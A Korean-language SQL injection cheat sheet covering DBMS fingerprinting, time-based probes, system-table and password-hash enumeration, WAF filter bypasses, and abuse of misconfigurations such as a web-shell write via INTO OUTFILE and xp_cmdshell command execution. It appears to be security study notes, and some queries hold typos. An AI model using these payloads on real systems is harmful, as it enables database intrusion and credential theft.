SQL Injection

D A S H B O A R D
D E V E L O P
S E C U R I T Y
SQLi 취약점을 발견하면 제일 먼저 알아야 하는 정보: DBMS의 종류와 버전
// query문 입력 select @@version select version() // error 메시지출력 select 1 union select 1,2; (select * from not_exists_table) // T/F 출력 mid(@@version, 1, 1)='5' substr(version(), 1, 1) = 'P'
SQL
복사
MySQL
// query 출력 select @@version; # select version(); // error 출력 select 1 union select 1,2; // the used SELECT 에러 메시지 출력 // T/F 출력 select mid(@@version, 1, 1) = '5'; // Time based select mid(@@version, 1, 1) = '5' and sleep(2);
SQL
복사
PostgreSQL
// query 출력 select version(); // error 출력 select 1 union 1, 2; // each union query must have the same number of // T/F 출력 select substr(version(), 1, 1) ='P' // Time based select substr(version(), 1, 1) = and pg_sleep(10);
SQL
복사
MSSSQL
// query 출력 select @@verison; // error 출력 select 1 union select 1, 2 // All queries combined using a union, intersect or except // T/F 출력 select 1 from test where substring(@@verion, 1, 1) = 'M'; // Time based select 1 where substring(@@version, 1, 1,) = 'M' and waitfor delay '0:0:5'
SQL
복사
SQLite
// query 출력 select sqlite_version(); // error 출력 select 1 union select 1, 2 // selects to the left and right of union do not // T/F 출력 select substr(sqlite_version(), 1, 1)='3' // Time based select case when substr(sqlite_version(), 1, 1) ='3' then like('ABCDEFG', UPPER(hex(randomblob(30000000/2)))) else 1=1 end
SQL
복사

System Tables

설정 및 계정 정보 외에도 테이블과 컬럼 정보, 그리고 현재 실행되고 있는 쿼리의 정보 등 다양한 정보를 포함
MySQL
// databases 조회 select databases; // union 사용 select 1,2,3 from user where id=3 union select 1,2,3 from user where ~ // schema 조회 select schema_name from information_schema.schemata# select table_schema from information_schema.tables group by table_schema // table 조회 select table_name from information_schema.tables where table_schema=database()# // column 조회 select column_name from information_Schema.columns where table_name="table"# // 실시간 실행 쿼리 정보 select * from information_schema.processlist // 계정 및 실시간 실행 쿼리 조회 select user, current_statement form sys.session; // DBMS 권한 및 계정 정보 select grantee, privilege_type, is_grantable from information_schema.user_privileges; // DBMS 계정 정보 select user, authentication_string from mysql.user;
SQL
복사
MSSQL
// databases 조회 select name from sys.databases // database 정보 조회 select name from master..sysdatabases; // DB_NAME을 이용한 DB 정보 조회 select db_name(1); // table 조회 select name from table..sysobjects where xtype='U' select table_name from table.information_schema.tables // column 조회 select name from syscolumns where id = (select id from sysobjects where name='users'); select table_name, column_name from table.information_schema.colums; // 계정 정보 조회 select name, password_hash form master.sys.sql_logins select * from master..syslogins;
SQL
복사
PostgreSQL
// databases 조회 select datname form pg_database; // schema 조회 select nspname from pg_catalog.pg_namespace; // 주요 스키마 테이블 select table_name from information_schema.tables where table_schema='pg_catalog' select table_name from information_schema.tables where table_schema='information_schema' // 계정 정보 select username, passwd from pg_catalog.pg_shadow; // DB 설정 정보 select name, setting from pg_catalog.pg_settings; // 실시간 계정 및 실행 쿼리 확인 select usename, query from pg_catalog.pg_stat_activity; // table 조회 select table_schema, table_name from information_schema.tables; // column 조회 select table_schema, table_name, column_name from information_schema.columns;
SQL
복사
Oracle
// DB 및 table 정보 확인 select distinct owner from all_tables select owner, table_name from all_tables // column 조회 select column_name form all_tab_columns where table_name='users' // DBMS 계정 정보 select * from all_users
SQL
복사
SQLite
// table 조회 select * from sqlite_master
SQL
복사

bypass WAF

MySQL 우회기법
// 진법을 이용한 문자열 검사 우회 select 0x6162, 0b110000101100010 // 함수를 이용한 문자열 검사 우회, sub,str,mid가 filtering이면 like사용 select char(0x61, 0x62) select concat(char(0x61), char(0x62)) // MySQL 가젯을 이용한 문자열 검사 우회 select mid(@@version, 12, 1); // MySQL 개행을 이용한 공백 검사 우회 select 1; // MySQL 주석을 이용한 공백 검사 우회 select/**/1; // /*!*/기능 사용: 주석 내 구문을 분석하고 쿼리의 일부로 실행 select 1 /*!union*/ select 2
SQL
복사
PostgreSQL 우회기법
// 문자열 검사 우회 select chr(65); select concat(chr(65), chr(66); // PostgreSQL 가젯을 이용한 문자열 검사 우회 select substring(version(), 23, 1) // 공백 검사 우회 select 1; // 주석을 이용한 검사 우회 select/**/1
SQL
복사
MSSQL 우회기법
// 문자열 검사 우회 select char(0x61) select concat(char(0x61), char(0x62)) // 공백 검사 우회 select 1; // 주석을 이용한 검사 우회 select/**/1;
SQL
복사
SQLite 우회기법
// 문자열 검사 우회 select char(0x61); select char(0x61) || char(0x62); // 공백 검사 우회 select 1; // 주석을 이용한 공백 검사 우회 select/**/1; // 구문 검사 우회 select 1 union values(2)
SQL
복사

DBMS Misconfiguration

MySQL
파일 관련 작업을 할 때 mysql 권한으로 수행
my.cnf 설정 파일의 secure_file_priv 값에 영향을 받음 secure_file_priv는 mysql쿼리 내 load_file 혹은 outfile을 이용해 파일에 접근할 때 접근할 수 있는 파일 경로에 대한 정보를 갖고 있음 my.cnf [mysqld] secure_file_priv="" # 미설정. default secure_file_priv="/tmp" # 해당 dir 하위 경로에만 접근 가능 secure_file_priv="" # mysql의 권한이 가능한 모든 경로에 접근이 가능 secure_file_priv=NULL # 기능이 비활성화 select @@secure_file_priv;
SQL
복사
Load
load_file 함수는 인자로 전달된 파일을 읽고, 출력합니다. 이때 전달되는 파일은 전체 경로를 입력해야 하며 해당 파일에 접근 권한이 있어야 함 # echo test1234 > /var/lib/mysql-files/test select load_file('/var/lib/mysql-files/test');
SQL
복사
Into outfile
select ... into 형식의 쿼리는 쿼리 결과를 변수나 파일에 쓸 수 있다. 만약 secure_file_priv의 값이 올바르지 않아 임의 경로에서 파일 작업을 수행할 수 있다면 이를 통해 웹셸을 업로드하는 등의 공격이 가능 // select ... into 를 이용한 파일 작성 select ... into var_list # column 값을 변수에 저장 select ... into outfile 'filename' # 쿼리 결과의 rows 값을 파일에 저장 select ... into dumpfile 'filename' # 쿼리 결과를 파일에 저장 // select ... into를 이용한 웹셸 작성 select '<?=`?>' into outfile '/tmp/a.php'; /* <?php include $_GET['page'].'.php'; // "?page=../../../tmp/a"*/
SQL
복사
MSSQL
xp_cmdshell 기능을 이용하여 OS명령어 실행
// xp_cmdshell 활성화 여부 확인 select * from sys.configurations where name='xp_cmdshell' // 활성화 되어있는 경우 exec xp_cmdshell "net user"; exec master.dbo.xp_cmdshell 'ping 127.0.0.1';
SQL
복사
DBMS 애플리케이션 작동 권한
Linux 서버에서는 이용자 별로 권한을 나누어 관리함.
DBMS를 작동할 때는 전용계정(nologin)을 만들어 사용해야 함
<?php ... // $input = "Admin"; # 대소문자 구별 // $input = "admin "; # space로 끝나는 문자열 비교 if($input === "admin") die("can't account lookup"); // filter bypass /* DBMS uid: admin, account_info: secret ... */ echo query("select account_info from users where uid='{$input}';");
PHP
복사
// MySQL 대소문자 구별 select 'a'='A'; // MSSSQL 대소문자 구별 select 1 from test where 'a'='A'; space로 끝나는 문자열 비교 // MySQL 대소문자 구별 select 'a'='a '; select 1 from test where 'a'='a ';
SQL
복사
DBMS 다중 쿼리 주의 사항
// 다중 쿼리 예시 select * from users where=uid''; insert user values();
SQL
복사
php data objects(PDO)를 사용해 다중 쿼리 실행 <?php $db1 = new PDO('sqlite:test1.db') $db2 = new PDO('sqlite:test2.db') $query = 'select 1234;create table test(test int);'; $db1->query($query); $db2->query($query); ?> // 실행 결과 // php test.php // ls -al test1.db test2.db
PHP
복사